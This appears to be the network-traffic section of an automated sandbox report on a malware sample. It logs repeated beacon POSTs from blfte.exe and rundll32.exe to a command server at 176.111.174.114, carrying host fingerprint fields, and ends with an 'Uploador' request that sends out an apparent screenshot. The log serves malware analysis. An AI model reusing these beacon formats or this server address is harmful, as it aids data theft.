Apr 28, 2021 23:22:58.476707935 CEST	2713	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:22:58.476824045 CEST	2737	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:22:58.572266102 CEST	2742	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:22:58.572320938 CEST	2750	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:22:58.572339058 CEST	2758	OUT	Data Raw: bf 0b bc 4f 11 3f f1 2f 63 fe ed 65 2c a7 1d 4f 78 1d 14 f3 3c 1d 4d a6 72 f1 af ef 29 fb 07 bd 6c 4d e0 dd 6a cf ef d8 4c bf f0 0a a5 26 95 7b 13 7c f0 c9 ff 00 02 4a c7 ea d5 69 e9 28 9b 47 11 46 7b 48 a7 1f 7a 91 49 18 a7 25 a4 80 9c a3 7f df Data Ascii: O?/ce,Ox<Mr)lMjL&{\|Ji(GF{HzI%52["S:_1Gbc*\)w4_U+X}IIOkVa}:~5H-:>,nzS?J}?SFoRJASg5BZ>Qe[9QO
Apr 28, 2021 23:22:58.573627949 CEST	2761	OUT	Data Raw: 87 fe b5 d0 fb 70 91 e1 fe 53 7f 72 a6 86 dd e4 ea 6b d9 64 f8 23 e1 cb 81 ba d3 50 74 ff 00 be 5a aa 49 f0 02 41 b9 ed b5 68 c8 ff 00 a6 91 d1 fd 95 5e 99 5f eb 2e 5d 2f b5 63 cb 45 a8 fe f9 ab 31 c0 3a d7 7b 71 f0 2f c4 90 fc f1 98 dc 56 7d d7 Data Ascii: pSrkd#PtZIAh^_.]/cE1:{q/V}Y?q9T5T@Y<YL?'"docR]&ImVcZ(_8q]Q!RzjZFjkjg,!ImVT},D`'rtW
Apr 28, 2021 23:22:58.573741913 CEST	2786	OUT	Data Raw: 49 8f a7 47 de a3 1b 3f fd 75 2a 74 fc 6b db 3c 23 e9 2f d8 5f f6 4b f0 d7 ed 19 f0 9f e2 57 c4 2b bf d9 d7 e3 0f c5 4d 63 c1 be 21 f0 c6 9d a7 78 43 e0 ee ab 0d a5 d7 91 a9 ff 00 68 f9 f7 93 b4 9a 56 a0 7c b8 be c7 10 ce c8 d0 79 87 73 81 8c 6b Data Ascii: IG?u*tk<#/_KW+Mc!xChV\|ysk> \|`6,iass5`{9 +7\|<w+oD\|;GspxzI52M_O6pc?~.k6~<u\|a\|})YkU=wW
Apr 28, 2021 23:22:58.667031050 CEST	2792	OUT	Data Raw: e4 f2 64 0b 50 03 10 6f 95 ea 52 fb bb d5 d2 32 91 b1 67 70 f5 24 d3 56 7d bc 86 30 a7 35 33 cd bb e4 af 43 9b dc 3c f7 4f df 34 74 94 ff 00 48 dd 5b 91 7f ac ac 4d 2e 4d 91 a5 69 47 71 b6 4d f5 e9 e1 65 ee 9e 66 26 3c d2 2f ff 00 07 e3 52 c7 de Data Ascii: dPoR2gp$V}053C<O4tH[M.MiGqMef&</Rb^le\|]N5TThIE;j61r43EjKv3Hxiha"TkgzQLMlu3n4sUDl#6fSwS;"
Apr 28, 2021 23:22:58.667072058 CEST	2797	OUT	Data Raw: 8f f8 28 cf 8d 4f fd 51 3d 4b ff 00 4e fa 3d 7e fe 7c 44 9f 1e 0e d4 0e 7b 45 ff 00 a3 52 bf 00 bf e0 d3 58 5e 0f f8 28 97 8d 24 6e 87 e0 ae a2 3f f2 af a3 d7 ef 97 c4 89 b1 e0 cb fe 7b 45 ff 00 a3 52 bf 97 bc 5e 9f 27 11 d5 4f fe 7d af fd 25 9f Data Ascii: (OQ=KN=~\|D{ERX^($n?{ER^'O}%ly?~ty\|~-{hOq??kq5<V#xk,>`2 -+PuiO{(-5_kR%HQmiS:6N_?
Apr 28, 2021 23:22:58.667218924 CEST	2802	OUT	Data Raw: 5f 2f e6 cf eb 53 47 1d 3b ca f6 15 b7 b3 23 da 05 bc 75 6c 26 06 c2 2a 28 63 1c 0a b6 06 12 ba a9 d3 f7 4e 6a 92 29 49 1e fe 69 16 36 df d6 a7 92 3d 9c d3 2a 65 11 a9 30 a7 7f 76 80 b9 5c d2 ed 3c 55 08 5a 9e 0c 89 3f 79 51 a4 60 9c 1f d2 a7 44 Data Ascii: _/SG;#ul&(cNj)Ii6=e0v\<UZ?yQ`DwN4o4+EQGg\c.]%Iq^G2.K~<=vUDv1OJ1jaIr^ cz,3PBzO7\_~#>zn3:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	176.111.174.114	80	192.168.2.5	49839	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:58.429405928 CEST	2710	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.5	49841	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:58.637147903 CEST	2786	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	176.111.174.114	80	192.168.2.5	49840	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.091389894 CEST	2882	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	176.111.174.114	80	192.168.2.5	49841	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.191560030 CEST	2883	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	176.111.174.114	80	192.168.2.5	49722	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.460107088 CEST	1575	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.5	49843	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.405174971 CEST	2883	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	176.111.174.114	80	192.168.2.5	49843	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.558407068 CEST	2884	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.5	49844	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.777950048 CEST	2884	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	176.111.174.114	80	192.168.2.5	49844	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:59.936687946 CEST	2885	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.5	49845	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.158114910 CEST	2885	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	176.111.174.114	80	192.168.2.5	49845	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.270983934 CEST	2886	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.5	49847	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.499285936 CEST	2886	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	176.111.174.114	80	192.168.2.5	49847	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.603877068 CEST	2887	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.5	49848	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.824937105 CEST	2888	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	176.111.174.114	80	192.168.2.5	49848	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:00.927546978 CEST	2888	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49723	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.676390886 CEST	1575	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.5	49849	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.135499001 CEST	2889	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	176.111.174.114	80	192.168.2.5	49849	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.237420082 CEST	2889	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.5	49850	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.445413113 CEST	2890	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	176.111.174.114	80	192.168.2.5	49850	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.544971943 CEST	2890	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.5	49851	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:01.664294004 CEST	2903	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! 